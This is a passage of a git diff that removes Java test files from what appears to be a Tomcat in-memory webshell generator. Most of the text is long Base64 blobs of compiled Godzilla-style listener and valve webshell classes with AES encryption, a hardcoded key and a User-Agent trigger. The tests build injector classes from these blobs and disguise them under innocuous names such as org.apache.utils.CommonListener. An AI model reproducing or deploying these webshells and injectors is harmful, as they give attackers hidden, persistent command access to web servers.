EAJGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3RMaXN0ZW5lcgEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAIWphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3RFdmVudAEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1nZXRTdXBlcmNsYXNzAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAtkZWZpbmVDbGFzcwEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7AQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABihbQilbQgEAEWdldFNlcnZsZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAxnZXRQYXJhbWV0ZXIBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADHNldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAt0b0J5dGVBcnJheQEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC2ZsdXNoQnVmZmVyAQAfb3JnL2FwYWNoZS91dGlscy9Db21tb25MaXN0ZW5lcgcBMAgAUAkBMQDWAQAQM2M2ZTBiOGE5YzE1MjI0YQgBNAkBMQDIAQAgMTFDRDZBODc1ODk4NDE2MzZDMzdBQzgyNkEyQTA0QkMIATcJATEA5QEAClVzZXItQWdlbnQIAToJATEA0AEABHRlc3QIAT0JATEA0gEAIUxvcmcvYXBhY2hlL3V0aWxzL0NvbW1vbkxpc3RlbmVyOwoBMQDUCgExANgKATEA2QoBMQCmCgExAN8KATEA6woBMQDuACEBMQBMAAEATQAFAAEATgBPAAAAAQBQAE8AAAABAFEATwAAAAEAUgBPAAAAAQBTAE8AAAAKAAEAVABVAAEAVgAAADQAAgABAAAAKCq3AAEqEwEytQEzKhMBNbUBNioTATi1ATkqEwE7tQE8KhMBPrUBP7EAAAAAAAEAVABbAAEAVgAAADUAAgACAAAAKSortwACKhMBMrUBMyoTATW1AT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"); - String shellClassName = "org.apache.utils.CommonListener"; - String injectClassName = this.getClass().getName() + "1"; - byte[] bytes = InjectorGenerator.generate(TomcatListenerInjector.class, injectClassName, shellClassName, shellBytes, null); - Object obj = ClassUtils.newInstance(bytes); - assertEquals(injectClassName, obj.getClass().getName()); - assertEquals(shellClassName, ClassUtils.invokeMethod(obj, "getClassName", null, null).toString()); - assertEquals(Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), ""), - ClassUtils.invokeMethod(obj, "getBase64String", null, null).toString()); - System.out.println(Base64.encodeBase64String(bytes)); - } - - @Test - @SneakyThrows - void generateJakarta() { - byte[] shellBytes = Base64.decodeBase64("yv66vgAAADQBRwoATACkCgBMAKUKAAQApgcApwoAEwCoBwCpCgATAKoKAAYAqwoArACtCgCsAK4IAK8KABMAsAgAsQcAsgoAEwCzBwC0CgC1ALYIALcHALgHAHcHALkHALoIALsKABMAvAgAvQgAvggAvwgAwAgAwQoATADCCADDCgDEAMUHAMYJADUAxwoAFQDICgAhAMkKAMQAygoAxADLCgDMAM0HAM4JADUAzwsAKADQCQA1ANEKABUA0goANQDTCwAoANQJADUA1QsAKADWCgA1ANcKADUA2AgA2QsA2gDbBwDcCgATAN0KADUApQoANQDeCwDaAN8IAOALACgA3wcA4QoAPACkCgAEAOILAEsA4wkANQDkCgAVAOUKAOYA5woABADoCgA8AOkKADUA6goAFQDrCwBLAOwIAJkKADUA7QgAkgcA7gcA7wcA8AEAA21kNQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANrZXkBAApoZWFkZXJOYW1lAQALaGVhZGVyVmFsdWUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEARkxjb20vcmVhamFzb24vamF2YXdlYi9tZW1zZWxsL3RvbWNhdC9nb2R6aWxsYS9Hb2R6aWxsYUpha2FydGFMaXN0ZW5lcjsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEAAXoBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADWdldEZpZWxkVmFsdWUBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABHZhcjUBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAA29iagEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABG5hbWUBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQANU3RhY2tNYXBUYWJsZQcA8QcAuAcAqQEACkV4Y2VwdGlvbnMBAAxiYXNlNjRFbmNvZGUBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAHZW5jb2RlcgEABmJhc2U2NAEABHZhcjYBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAJicwEAAltCAQAFdmFsdWUHALkHALoBAAxiYXNlNjREZWNvZGUBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAHZGVjb2RlcgEAAVEBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAAJjYgEACVNpZ25hdHVyZQEAGChbQilMamF2YS9sYW5nL0NsYXNzPCo+OwEAAXgBAAcoW0JaKVtCAQABYwEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABHZhcjQBAAFzAQABbQEAAVoHANwHAPIBABJyZXF1ZXN0SW5pdGlhbGl6ZWQBACgoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50OylWAQAGYXJyT3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAWYBAAhyZXNwb25zZQEAKkxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB3Nlc3Npb24BACJMamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAEZGF0YQEAE3NlcnZsZXRSZXF1ZXN0RXZlbnQBACVMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0RXZlbnQ7AQAHcmVxdWVzdAEAKUxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7BwDzBwDOBwDuBwD0AQAWZ2V0UmVzcG9uc2VGcm9tUmVxdWVzdAEAVShMamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OylMamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAFlAQAKU291cmNlRmlsZQEAHEdvZHppbGxhSmFrYXJ0YUxpc3RlbmVyLmphdmEMAFQAVQwAVABbDAD1APYBABBqYXZhL2xhbmcvT2JqZWN0DAD3APgBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MAPkA9gwAVAD6BwDxDAD7APwMAP0A/gEAEGphdmEudXRpbC5CYXNlNjQMAP8BAAEACmdldEVuY29kZXIBABJbTGphdmEvbGFuZy9DbGFzczsMAQEBAgEAE1tMamF2YS9sYW5nL09iamVjdDsHAQMMAQQBBQEADmVuY29kZVRvU3RyaW5nAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAEGAQcBAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgwBCAEJAQADQUVTBwDyDAEKAQsBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDABRAE8MAQwBDQwAVAEODAEPARAMAREBEgcA8wwBEwEUAQAnamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0DABSAE8MARUBFgwAUwBPDAEXARgMAJ8AoAwBGQEaDABQAE8MARsBFgwAewB8DACDAIQBAAdwYXlsb2FkBwD0DAEcAR0BAERjb20vcmVhamFzb24vamF2YXdlYi9tZW1zZWxsL3RvbWNhdC9nb2R6aWxsYS9Hb2R6aWxsYUpha2FydGFMaXN0ZW5lcgwBHgEfDAB+AH8MASABIQEACnBhcmFtZXRlcnMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwBIgEjDAEkASUMAE4ATwwBJgEnBwEoDAEpAPoMASoBKwwBLAENDABwAHEMASYBLQwBLgBVDABeAF8BAChqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAmamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0TGlzdGVuZXIBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAE2phdmF4L2NyeXB0by9DaXBoZXIBACNqYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3RFdmVudAEAIGpha2FydGEvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADWdldFN1cGVyY2xhc3MBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQARZ2V0U2VydmxldFJlcXVlc3QBACIoKUxqYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAJZ2V0SGVhZGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEACmdldFNlc3Npb24BACQoKUxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAxnZXRQYXJhbWV0ZXIBAAxnZXRBdHRyaWJ1dGUBACYo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"); - String shellClassName = "org.apache.utils.CommonJakartaListener"; - String injectClassName = this.getClass().getName() + "2"; - byte[] bytes = InjectorGenerator.generate(TomcatListenerInjector.class, injectClassName, shellClassName, shellBytes, null); - Object obj = ClassUtils.newInstance(bytes); - assertEquals(injectClassName, obj.getClass().getName()); - assertEquals(shellClassName, ClassUtils.invokeMethod(obj, "getClassName", null, null).toString()); - assertEquals(Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), ""), - ClassUtils.invokeMethod(obj, "getBase64String", null, null).toString()); - System.out.println(Base64.encodeBase64String(bytes)); - } -} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjectorTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjectorTest.java deleted file mode 100644 index e175f214..00000000 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjectorTest.java +++ /dev/null @@ -1,33 +0,0 @@ -package com.reajason.javaweb.memsell.tomcat.injector; - -import com.reajason.javaweb.memsell.InjectorGenerator; -import com.reajason.javaweb.util.ClassUtils; -import com.reajason.javaweb.util.CommonUtil; -import lombok.SneakyThrows; -import org.apache.commons.codec.binary.Base64; -import org.junit.jupiter.api.Test; - -import static org.junit.jupiter.api.Assertions.*; - -/** - * @author ReaJason - * @since 2024/11/24 - */ -class TomcatValveInjectorTest { - - @Test - @SneakyThrows - void generate() { - byte[] shellBytes = Base64.decodeBase64("yv66vgAAADQBKQoARACSCgBEAJMKAEQAlAgAlQoAlgCXBwCYCQAaAJkKAD0AmgoABgCbCgCWAJwKAJYAnQcAngkAGgCfCQAaAKAJABoAoQoAogCjCQAaAKQKAD0ApQoAogCmCQAaAKcKAKIAqAoAGgCpCgAaAKoIAKsLAKwArQcArgoAPACvCgAkALAKABoAkwoAGgCxCwCsALIIALMKAKIAsgcAtAoAIgCSBwC1CgAkALYKADwAtwoAuAC5CQAaALoKAD0AuwoAvAC9CgA8AL4KACIAvwoAGgDACgA9AMEKALgAwgoAGgDDCwBFAMQKAAwAxQgAxgoAJADHCADIBwDJCgAkAMoHAMsKAMwAzQgAzgcAXQcAzwcA0AgA0QgA0ggA0wgA1AgA1QgA1gcA1wcA2AEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAA5hc3luY1N1cHBvcnRlZAEAAVoBAANrZXkBABJMamF2YS9sYW5nL1N0cmluZzsBAARwYXNzAQAKaGVhZGVyTmFtZQEAC2hlYWRlclZhbHVlAQADbWQ1AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADxMY29tL3JlYWphc29uL2phdmF3ZWIvbWVtc2VsbC90b21jYXQvZ29kemlsbGEvR29kemlsbGFWYWx2ZTsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEAAXoBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAAVEBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAAJjYgEAAltCAQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAEd